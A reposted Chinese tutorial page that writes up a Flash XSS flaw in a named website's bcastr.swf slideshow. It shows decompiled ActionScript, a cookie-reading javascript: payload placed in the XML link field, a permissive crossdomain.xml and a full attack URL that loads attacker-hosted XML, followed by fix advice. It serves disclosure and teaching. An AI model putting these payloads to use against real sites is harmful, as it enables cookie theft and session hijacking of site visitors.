来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] getURL安全问题.案例:lh.9you.com/web_v3/bcastr.swf?bcastr_xml_url=xml/bcastr.xml这类型调用方式, 调用的外部配置或数据文件后缀,如: xml等Flash的actionscript脚本目前网络上存在2种版本,即2.0与3.0函数...
getURL安全问题.
案例: lh.9you.com/web_v3/bcastr.swf?bcastr_xml_url=xml/bcastr.xml
这类型调用方式, 调用的外部配置或数据文件后缀,如: xml等
Flash的actionscript脚本目前网络上存在2种版本,即2.0与3.0
函数A内容如下:
//as3.0版本
navigateToURL(new URLRequest(参数), "_self");
//as2.0版本
getURL(参数,"_self");
案例是2.0版本的.
其中参数就是被打开的链接。
如果参数是 "javascript:alert(1)"
那么就可以执行JS代码了。这里的点击执行代码的效果类似于网页里的
<a href="javascript:alert(1)">点我弹出1</a>
我们先看看xml配置文件中的信息:
item_url 为显示的图片地址
link 点击图片的跳转的参数;此为上面所讲的可控参数.
逆向看看这个swf:
getURL(bcastr_link_array[this.id], "_blank");
找到类似代码,我们看变量名字可以看出bcastr_link_array因该是link标签的数组,跟踪下bcastr_link_array.
bcastr_link_array = new Array();
.............................
while (i < item_total_num)
{
bcastr_flie_array.push(bcastr_xml.firstChild.childNodes[i].attributes.item_url);
bcastr_title_array.push(bcastr_xml.firstChild.childNodes[i].attributes.itemtitle);
bcastr_link_array.push(bcastr_xml.firstChild.childNodes[i].attributes.link);
++i;
}
证明了我们的猜想,数组循环赋值.
将link标签地址转换为我们的攻击代码,如
javascript:alert(document.cookie);
跨域操作.
在我们自己网站的根目录下,放置一个 crossdomain.xml
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="网站" />
</cross-domain-policy>
本例子中网站->改为:*.9you.com(匹配任意的9you.com子域名)
最后的攻击连接:
http://lh.9you.com/web_v3/bcastr.swf?bcastr_xml_url=http://127.0.0.1:8080/bcastr.xml
http://127.0.0.1:8080/bcastr.xml为我搭建的环境.
好了点击下里面的图片.
修复方案:
对XML中传入的link url进行正则判断 或者
限制加载第三方网站的XML文件
贵站排查好这类型的swf文件,我就不刷分了哈哈.
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com